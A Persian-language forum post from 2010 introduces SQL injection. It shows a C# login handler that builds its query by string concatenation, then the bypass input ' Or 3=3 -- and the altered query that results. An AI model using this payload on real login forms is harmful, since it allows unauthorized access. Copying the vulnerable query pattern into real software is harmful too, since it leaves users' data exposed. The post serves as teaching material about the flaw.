ParsX.com
پذیرش پروژه از دانشجویی ... تا سازمانی 09376225339
 
   ProfileProfile   Log in to check your private messagesLog in to check your private messages  |  FAQFAQ   SearchSearch   MemberlistMemberlist   UsergroupsUsergroups Log inLog in   RegisterRegister 

SQl Injection Hack قسمت 1

 
Post new topic   Reply to topic    ParsX.com Forum Index -> ASP C# .NET & PHP
View previous topic :: View next topic  
Author Message
vahid
بي تو هرگز


Joined: 26 Nov 2004
Posts: 3067
Location: Tehran

PostPosted: Sun Jun 27, 2010 2:02 pm    Post subject: SQl Injection Hack قسمت 1 Reply with quote

یکی از عمومی ترین راه های ایجاد فرم لوگین که اکثر برنامه نویس ها ازش استفاده می کنند کد زیر است.

btnLogin_Click(){   

 string strSqlQry = "SELECT Count(*) FROM tblUsers where UsrName='" +
     txtUsr.Text + "' AND Passwd='" + txtPasswd.Text + "'";
        int intRecords;

    SqlCommand cmd = new SqlCommand(strSqlQry, cnn);
    intRecords = (int) cmd.ExecuteScalar();

    if (intRecords>0) {
        MessageBox.Show("خوش آمدید.");
    }
    else {
           MessageBox.Show("نام کاربری یا رمز ورود نادرست است.");     

    }

}

حالا اگر کاربری در فیلد نام کاربری مقدار زیر را وارد کند :

' Or 3=3 --



چی می شه؟

کاربر لوگین می شه چون دستور سلکت به شکل زیر تغییر پیدا می کند:

"SELECT Count(*) FROM tblUsers WHERE UsrName='' Or 3=3 --' AND Passwd=''"


دو خط تیره ادامه دستور سلکت را کامنت می کند.
Back to top
Display posts from previous:   
Post new topic   Reply to topic    ParsX.com Forum Index -> ASP C# .NET & PHP All times are GMT + 3.5 Hours
Page 1 of 1

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum